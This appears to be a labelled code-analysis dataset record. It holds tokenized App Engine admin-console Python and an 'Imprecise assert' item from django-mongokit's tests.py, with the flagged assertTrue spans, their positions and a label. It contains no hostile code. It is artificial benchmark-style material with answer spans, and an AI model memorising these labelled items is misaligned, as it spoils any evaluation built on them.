"class_", "Non", "e", "Type_", "(_", "Data", "Type_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "format_", "(_", "self_", ",_", "value_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "'", "Non", "e", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Blo", "b", "Key", "Type_", "(_", "String", "Type_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Blo", "b", "Key", "Type_", "(_", "String", "Type_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "name_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "'", "Blo", "b", "Key", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Blo", "b", "Key", "Type_", "(_", "String", "Type_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "parse_", "(_", "self_", ",_", "value_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "datast", "ore", "\\u", "types_", "._", "Blo", "b", "Key_", "(_", "value_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Blo", "b", "Key", "Type_", "(_", "String", "Type_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "python", "\\u", "type_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "datast", "ore", "\\u", "types_", "._", "Blo", "b", "Key_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "Pars", "e", "Cro", "n", "Ya", "ml_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Load", "s", " ", "the", " ", "cron", ".", "yaml", " ", "file", " ", "and", " ", "parse", "s", " ", "it", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", "The", " ", "CW", "D", " ", "of", " ", "the", " ", "dev", "\\u", "appse", "rver", " ", "is", " ", "the", " ", "root", " ", "of", " ", "the", " ", "applica", "tion", " ", "here", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", "Return", "s", " ", "a", " ", "dict", " ", "represent", "ing", " ", "the", " ", "content", "s", " ", "of", " ", "cron", ".", "yaml", ".", "\\", "10", ";", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "cron", "yaml", "\\u", "files_", "=_", "'", "cron", ".", "yaml", "'_", ",_", "'", "cron", ".", "yml", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "cron", "yaml_", "in_", "cron", "yaml", "\\u", "files_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "fh_", "=_", "open_", "(_", "cron", "yaml_", ",_", "\"", "r", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "IO", "Error_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "continue_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "cron", "\\u", "info_", "=_", "cron", "info_", "._", "Load", "Sing", "le", "Cro", "n_", "(_", "fh_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "cron", "\\u", "info_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "finally_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "fh_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "Pse", "udo", "Bre", "adc", "rum", "bs_", "(_", "key_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Return", " ", "a", " ", "string", " ", "tha", "t", " ", "look", "s", " ", "like", " ", "the", " ", "breadcrumb", "s", " ", "(", "for", " ", "key", " ", "proper", "ties", ").", "\\", "10", ";", "\\", "10", ";", " ", " ", "Arg", "s", ":", "\\", "10", ";", " ", " ", " ", " ", "key", ":", " ", "A", " ", "datast", "ore", "\\u", "types", ".", "Key", " ", "object", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", "Return", "s", ":", "\\", "10", ";", " ", " ", " ", " ", "A", " ", "string", " ", "look", "ing", " ", "like", " ", "breadcrumb", "s", ".", "\\", "10", ";", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "path_", "=_", "key_", "._", "to", "\\u", "path_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "parts_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "i_", "in_", "range_", "(_", "0_", ",_", "len_", "(_", "path_", ")_", "//_", "2_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "kind_", "=_", "path_", "[_", "i_", "*_", "2_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "isinstance_", "(_", "kind_", ",_", "unicode_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "kind_", "=_", "kind_", "._", "encode_", "(_", "'", "utf", "8", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "value_", "=_", "path_", "[_", "i_", "*_", "2_", "+_", "1_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "isinstance_", "(_", "value_", ",_", "(_", "int_", ",_", "long_", ")_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "parts_", "._", "append_", "(_", "'%", "s", ":", " ", "id", "=", "%", "d", "'_", "%_", "(_", "kind_", ",_", "value_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "isinstance_", "(_", "value_", ",_", "unicode_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "value_", "=_", "value_", "._", "encode_", "(_", "'", "utf", "8", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "parts_", "._", "append_", "(_", "'%", "s", ":", " ", "name", "=", "%", "s", "'_", "%_", "(_", "kind_", ",_", "value_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "'", " ", ">", " ", "'_", "._", "join_", "(_", "parts_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "main_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "handlers_", "=_", "[_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "'.*'_", "+_", "Datas", "tore", "Query", "Handler_", "._", "PATH_", ",_", "Datas", "tore", "Query", "Handler_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "'.*'_", "+_", "Datas", "tore", "Edit", "Handler_", "._", "PATH_", ",_", "Datas", "tore", "Edit", "Handler_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "'.*'_", "+_", "Datas", "tore", "Bat", "ch", "Edit", "Handler_", "._", "PATH_", ",_", "Datas", "tore", "Bat", "ch", "Edit", "Handler_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "'.*'_", "+_", "Interact", "ive", "Page", "Handler_", "._", "PATH_", ",_", "Interact", "ive", "Page", "Handler_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "'.*'_", "+_", "Interact", "ive", "Execut", "e", "Handler_", "._", "PATH_", ",_", "Interact", "ive", "Execut", "e", "Handler_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "'.*'_", "+_", "Memcache", "Page", "Handler_", "._", "PATH_", ",_", "Memcache", "Page", "Handler_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "'.*'_", "+_", "Image", "Handler_", "._", "PATH_", ",_", "Image", "Handler_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "'.*'_", "+_", "Queue", "s", "Page", "Handler_", "._", "PATH_", ",_", "Queue", "s", "Page", "Handler_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "'.*'_", "+_", "Task", "s", "Page", "Handler_", "._", "PATH_", ",_", "Task", "s", "Page", "Handler_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "'.*'_", "+_", "XMPP", "Page", "Handler_", "._", "PATH_", ",_", "XMPP", "Page", "Handler_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "'.*'_", "+_", "Inbo", "und", "Mail", "Page", "Handler_", "._", "PATH_", ",_", "Inbo", "und", "Mail", "Page", "Handler_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "'.*'_", ",_", "Default", "Page", "Handler_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "HA", "VE", "\\u", "CRO", "N_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "handlers_", "._", "insert_", "(_", "0_", ",_", "(_", "'.*'_", "+_", "Cro", "n", "Page", "Handler_", "._", "PATH_", ",_", "Cro", "n", "Page", "Handler_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "application_", "=_", "webapp_", "._", "WS", "GI", "Application_", "(_", "handlers_", ",_", "debug_", "=_", "\\u", "DEBUG_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "wsgi", "ref_", "._", "handlers_", "._", "CGI", "Handler_", "(_", ")_", "._", "run_", "(_", "application_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "safe_", "(_", "text_", ",_", "dummy_", "=_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "text_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 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 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Imprecise assert
peterbe/django-mongokit/django_mongokit/tests.py
[ { "content": " def test_signals(self):\n _fired = []\n\n def trigger_pre_delete(sender, instance, **__):\n if sender is LighteningTalk:\n if isinstance(instance, LighteningTalk):\n _fired.append('pre_delete')\n\n def trigger_post_delete(sender, instance, **__):\n if sender is LighteningTalk:\n if isinstance(instance, LighteningTalk):\n _fired.append('post_delete')\n\n def trigger_pre_save(sender, instance, raw=None, **__):\n if sender is LighteningTalk:\n if isinstance(instance, LighteningTalk):\n if not getattr(instance, '_id', None):\n _fired.append('pre_save')\n\n def trigger_post_save(sender, instance, raw=None, created=False, **__):\n assert created in (True, False), \"created is supposed to be a bool\"\n if sender is LighteningTalk:\n if isinstance(instance, LighteningTalk):\n if created:\n _fired.append('post_save created')\n else:\n _fired.append('post_save not created')\n if '_id' in instance:\n _fired.append('post_save')\n\n from django.db.models import signals\n signals.pre_delete.connect(trigger_pre_delete, sender=LighteningTalk)\n signals.post_delete.connect(trigger_post_delete, sender=LighteningTalk)\n\n signals.pre_save.connect(trigger_pre_save, sender=LighteningTalk)\n signals.post_save.connect(trigger_post_save, sender=LighteningTalk)\n\n collection = self.database.talks\n talk = collection.LighteningTalk()\n\n talk['topic'] = u\"Bla\"\n talk.save()\n\n self.assertTrue('pre_save' in _fired)\n self.assertTrue('post_save' in _fired)\n self.assertTrue('post_save created' in _fired)\n self.assertTrue('post_save not created' not in _fired)\n\n talk.delete()\n self.assertTrue('pre_delete' in _fired)\n self.assertTrue('post_delete' in _fired)\n\n talk['topic'] = u\"Different\"\n talk.save()\n self.assertTrue('post_save not created' in _fired)", "metadata": "root.DocumentTest.test_signals", "header": "['class', 'DocumentTest', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 94 }, { "content": " def test_load_backend(self):\n try:\n from django.db import connections\n except ImportError:\n # Django <1.2\n return # :(\n self.assertTrue('mongodb' in connections)\n from django.db.utils import load_backend\n backend = load_backend('django_mongokit.mongodb')\n self.assertTrue(backend is not None)", "metadata": "root.MongoDBBaseTestCase.test_load_backend", "header": "['class', 'MongoDBBaseTestCase', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 173 }, { "content": " def test_create_test_database(self):\n from django.conf import settings\n try:\n assert 'mongodb' in settings.DATABASES\n except AttributeError:\n # Django <1.2\n return # :(\n old_database_name = settings.DATABASES['mongodb']['NAME']\n assert 'test_' not in old_database_name\n # pretend we're the Django 'test' command\n\n from django.db import connections\n connection = connections['mongodb']\n\n connection.creation.create_test_db()\n test_database_name = settings.DATABASES['mongodb']['NAME']\n self.assertTrue('test_' in test_database_name)\n\n from mongokit import Connection\n con = Connection()\n # the test database isn't created till it's needed\n self.assertTrue(test_database_name not in con.database_names())\n\n # creates it\n db = con[settings.DATABASES['mongodb']['NAME']]\n coll = db.test_collection_name\n # do a query on the collection to force the database to be created\n list(coll.find())\n test_database_name = settings.DATABASES['mongodb']['NAME']\n self.assertTrue(test_database_name in con.database_names())\n\n connection.creation.destroy_test_db(old_database_name)\n self.assertTrue('test_' not in settings.DATABASES['mongodb']['NAME'])\n self.assertTrue(test_database_name not in con.database_names())\n\n # this should work even though it doesn't need to do anything\n connection.close()", "metadata": "root.MongoDBBaseTestCase.test_create_test_database", "header": "['class', 'MongoDBBaseTestCase', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 195 }, { "content": " def test_create_test_database_by_specific_good_name(self):\n from django.conf import settings\n try:\n assert 'mongodb' in settings.DATABASES\n except AttributeError:\n # Django <1.2\n return\n settings.DATABASES['mongodb']['TEST_NAME'] = \"test_mustard\"\n old_database_name = settings.DATABASES['mongodb']['NAME']\n from django.db import connections\n connection = connections['mongodb']\n\n connection.creation.create_test_db()\n test_database_name = settings.DATABASES['mongodb']['NAME']\n self.assertTrue('test_' in test_database_name)\n\n from mongokit import Connection\n con = Connection()\n # the test database isn't created till it's needed\n self.assertTrue(test_database_name not in con.database_names())\n\n # creates it\n db = con[settings.DATABASES['mongodb']['NAME']]\n coll = db.test_collection_name\n # do a query on the collection to force the database to be created\n list(coll.find())\n test_database_name = settings.DATABASES['mongodb']['NAME']\n self.assertTrue(test_database_name in con.database_names())\n\n connection.creation.destroy_test_db(old_database_name)\n self.assertTrue('test_mustard' not in\n settings.DATABASES['mongodb']['NAME'])\n self.assertTrue(test_database_name not in con.database_names())", "metadata": "root.MongoDBBaseTestCase.test_create_test_database_by_specific_good_name", "header": "['class', 'MongoDBBaseTestCase', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 249 } ]
[ { "span": "self.assertTrue('pre_save' in _fired)", "start_line": 137, "start_column": 8, "end_line": 137, "end_column": 45 }, { "span": "self.assertTrue('post_save' in _fired)", "start_line": 138, "start_column": 8, "end_line": 138, "end_column": 46 }, { "span": "self.assertTrue('post_save created' in _fired)", "start_line": 139, "start_column": 8, "end_line": 139, "end_column": 54 }, { "span": "self.assertTrue('post_save not created' not in _fired)", "start_line": 140, "start_column": 8, "end_line": 140, "end_column": 62 }, { "span": "self.assertTrue('pre_delete' in _fired)", "start_line": 143, "start_column": 8, "end_line": 143, "end_column": 47 }, { "span": "self.assertTrue('post_delete' in _fired)", "start_line": 144, "start_column": 8, "end_line": 144, "end_column": 48 }, { "span": "self.assertTrue('post_save not created' in _fired)", "start_line": 148, "start_column": 8, "end_line": 148, "end_column": 58 }, { "span": "self.assertTrue('mongodb' in connections)", "start_line": 179, "start_column": 8, "end_line": 179, "end_column": 49 }, { "span": "self.assertTrue(backend is not None)", "start_line": 182, "start_column": 8, "end_line": 182, "end_column": 44 }, { "span": "self.assertTrue('test_' in test_database_name)", "start_line": 211, "start_column": 8, "end_line": 211, "end_column": 54 }, { "span": "self.assertTrue(test_database_name not in con.database_names())", "start_line": 216, "start_column": 8, "end_line": 216, "end_column": 71 }, { "span": "self.assertTrue(test_database_name in con.database_names())", "start_line": 224, "start_column": 8, "end_line": 224, "end_column": 67 }, { "span": "self.assertTrue('test_' not in settings.DATABASES['mongodb']['NAME'])", "start_line": 227, "start_column": 8, "end_line": 227, "end_column": 77 }, { "span": "self.assertTrue(test_database_name not in con.database_names())", "start_line": 228, "start_column": 8, "end_line": 228, "end_column": 71 }, { "span": "self.assertTrue('test_' in test_database_name)", "start_line": 263, "start_column": 8, "end_line": 263, "end_column": 54 }, { "span": "self.assertTrue(test_database_name not in con.database_names())", "start_line": 268, "start_column": 8, "end_line": 268, "end_column": 71 }, { "span": "self.assertTrue(test_database_name in con.database_names())", "start_line": 276, "start_column": 8, "end_line": 276, "end_column": 67 }, { "span": "self.assertTrue('test_mustard' not in\n settings.DATABASES['mongodb']['NAME'])", "start_line": 279, "start_column": 8, "end_line": 280, "end_column": 62 }, { "span": "self.assertTrue(test_database_name not in con.database_names())", "start_line": 281, "start_column": 8, "end_line": 281, "end_column": 71 } ]
[]
1
true
[ "[CLS]_", "Imp", "reci", "se_", "assert_", "[SEP]_", "class_", "Document", "Test_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "signals_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\\u", "fired", "_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "trigger", "\\u", "pre", "\\u", "delete_", "(_", "sender_", ",_", "instance_", ",_", "**_", "\\u\\u_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "sender_", "is_", "Light", "eni", "ng", "Tal", "k_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "isinstance_", "(_", "instance_", ",_", "Light", "eni", "ng", "Tal", "k_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "\\u", "fired", "_", "._", "append_", "(_", "'", "pre", "\\u", "delete", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "trigger", "\\u", "post", "\\u", "delete_", "(_", "sender_", ",_", "instance_", ",_", "**_", "\\u\\u_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "sender_", "is_", "Light", "eni", "ng", "Tal", "k_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "isinstance_", "(_", "instance_", ",_", "Light", "eni", "ng", "Tal", "k_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "\\u", "fired", "_", "._", "append_", "(_", "'", "post", "\\u", "delete", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "trigger", "\\u", "pre", "\\u", "save_", "(_", "sender_", ",_", "instance_", ",_", "raw_", "=_", "None_", ",_", "**_", "\\u\\u_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "sender_", "is_", "Light", "eni", "ng", "Tal", "k_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "isinstance_", "(_", "instance_", ",_", "Light", "eni", "ng", "Tal", "k_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "if_", "not_", "getattr_", "(_", "instance_", ",_", "'\\u", "id", "'_", ",_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "\\u", "fired", "_", "._", "append_", "(_", "'", "pre", "\\u", "save", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "trigger", "\\u", "post", "\\u", "save_", "(_", "sender_", ",_", "instance_", ",_", "raw_", "=_", "None_", ",_", "created_", "=_", "False_", ",_", "**_", "\\u\\u_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "assert_", "created_", "in_", "(_", "True_", ",_", "False_", ")_", ",_", "\"", "created", " ", "is", " ", "supposed", " ", "to", " ", "be", " ", "a", " ", "bool", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "sender_", "is_", "Light", "eni", "ng", "Tal", "k_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "isinstance_", "(_", "instance_", ",_", "Light", "eni", "ng", "Tal", "k_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "if_", "created_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "\\u", "fired", "_", "._", "append_", "(_", "'", "post", "\\u", "save", " ", "created", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "\\u", "fired", "_", "._", "append_", "(_", "'", "post", "\\u", "save", " ", "not", " ", "created", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "'\\u", "id", "'_", "in_", "instance_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "\\u", "fired", "_", "._", "append_", "(_", "'", "post", "\\u", "save", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "from_", "django_", "._", "db_", "._", "models_", "import_", "signals_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "signals_", "._", "pre", "\\u", "delete_", "._", "connect_", "(_", "trigger", "\\u", "pre", "\\u", "delete_", ",_", "sender_", "=_", "Light", "eni", "ng", "Tal", "k_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "signals_", "._", "post", "\\u", "delete_", "._", "connect_", "(_", "trigger", "\\u", "post", "\\u", "delete_", ",_", "sender_", "=_", "Light", "eni", "ng", "Tal", "k_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "signals_", "._", "pre", "\\u", "save_", "._", "connect_", "(_", "trigger", "\\u", "pre", "\\u", "save_", ",_", "sender_", "=_", "Light", "eni", "ng", "Tal", "k_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "signals_", "._", "post", "\\u", "save_", "._", "connect_", "(_", "trigger", "\\u", "post", "\\u", "save_", ",_", "sender_", "=_", "Light", "eni", "ng", "Tal", "k_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "collection_", "=_", "self_", "._", "database_", "._", "talk", "s_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "talk", "_", "=_", "collection_", "._", "Light", "eni", "ng", "Tal", "k_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "talk", "_", "[_", "'", "topic", "'_", "]_", "=_", "u", "\"", "Bla", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "talk", "_", "._", "save_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "'", "pre", "\\u", "save", "'_", "in_", "\\u", "fired", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "'", "post", "\\u", "save", "'_", "in_", "\\u", "fired", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "'", "post", "\\u", "save", " ", "created", "'_", "in_", "\\u", "fired", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "'", "post", "\\u", "save", " ", "not", " ", "created", "'_", "not_", "in_", "\\u", "fired", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "talk", "_", "._", "delete_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "'", "pre", "\\u", "delete", "'_", "in_", "\\u", "fired", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "'", "post", "\\u", "delete", "'_", "in_", "\\u", "fired", "_", ")_", 